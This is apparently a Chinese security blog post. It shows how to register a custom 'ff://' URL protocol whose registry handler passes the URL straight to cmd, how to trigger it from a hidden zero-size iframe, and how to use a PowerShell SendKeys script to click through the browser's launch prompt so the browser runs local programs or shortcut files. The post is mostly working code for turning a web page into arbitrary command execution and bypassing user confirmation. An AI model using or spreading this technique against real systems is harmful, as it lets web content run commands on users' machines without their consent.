自定义URL Protocol协议+模拟点击拉起应用/执行命令

自定义URL Protocol协议+模拟点击拉起应用/执行命令

起因是有个开发的朋友在群里问到怎么用js检测系统是否存在某应用。

-w327

后来想了下,一般都是利用js+URL Protocol来拉起应用,而且拉起过程中会出现选择。
之前刚刚做了个c# bypass uac中模拟了回车键。
这回直接用这个执行命令应该也可以。

注册自定义URL协议

add.reg

Windows Registry Editor Version 5.00
[HKEY_CLASSES_ROOT\ff]
"URL Protocol"=""
@="Genaral Call"
[HKEY_CLASSES_ROOT\ff\DefaultIcon]
@=""
[HKEY_CLASSES_ROOT\ff\shell]
[HKEY_CLASSES_ROOT\ff\shell\open]
[HKEY_CLASSES_ROOT\ff\shell\open\command]
@="cmd /v:on /k set m=%1 &&call set n=%%m:ff://=%%&call set n=%%n:,= %% &&start !n! &exit"

测试URl

 ff://C:/windows/system32/calc.exe

-w1311
-w476

如何触发

浏览器对协议地址发起请求,那么我用iframe来嵌入窗口,而且iframe可以设置宽高为零彻底隐藏。

<iframe src="ff://C:/net1.exe.lnk"></iframe>

执行命令思路

  1. 可以利用注册协议的参数
    ff://参数1[,参数2,参数3]
    其中参数1是要打开的本地程序的完整路径;参数2,参数3是要传递给该本地程序的参数,
    2、可以利用lnk文件来执行
    -w693

模拟点击组合实现命令执行

1.ps1

C:\1.html   //打开1.html调用url
$myshell = New-Object -com "Wscript.Shell" 
$myshell.AppActivate("chrome") //激活title是chrome进程的焦点
start-sleep -s 1
$myshell.sendkeys("{TAB}")
$myshell.sendkeys("{ENTER}") //发送 tab和回车

Jietu20200406-010911

同样修改下ps1的发送键位和激活名称比如IE是WINDOWS$myshell.AppActivate("windows")
也可以实现命令执行。

Jietu20200406-015303

Jietu20200406-015351
Jietu20200406-155246

Jietu20200406-155239

本文链接:

http://8sec.cc/index.php/archives/363/
1 + 1 =
快来做第一个评论的人吧~